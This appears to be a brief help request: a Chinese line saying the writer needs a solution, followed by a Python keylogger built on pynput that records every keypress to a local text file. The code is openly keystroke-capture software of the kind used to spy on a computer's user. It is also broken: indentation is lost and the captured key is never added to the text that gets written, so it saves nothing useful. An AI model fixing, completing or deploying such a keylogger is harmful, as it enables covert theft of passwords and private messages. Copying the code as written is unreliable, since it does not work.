我需要找到一种解决方法
from pynput import keyboard
f = open("bruh1e2.txt", "w+")
Text = ""
def ok(Text):
global f
f.write(Text)
def text(Key):
global Text
Key = str(Key)
Key = Key.replace("'", "")
if Key == "Key.space":
Key = " "
if Key == "Key.backspace":
Key = "(<)"
ok(Text)
def W_Press(Key):
text(Key)
def W_Release(Key):
return True
with keyboard.Listener(on_press = W_Press, on_release = W_Release) as listner:
listner.join()
f.close()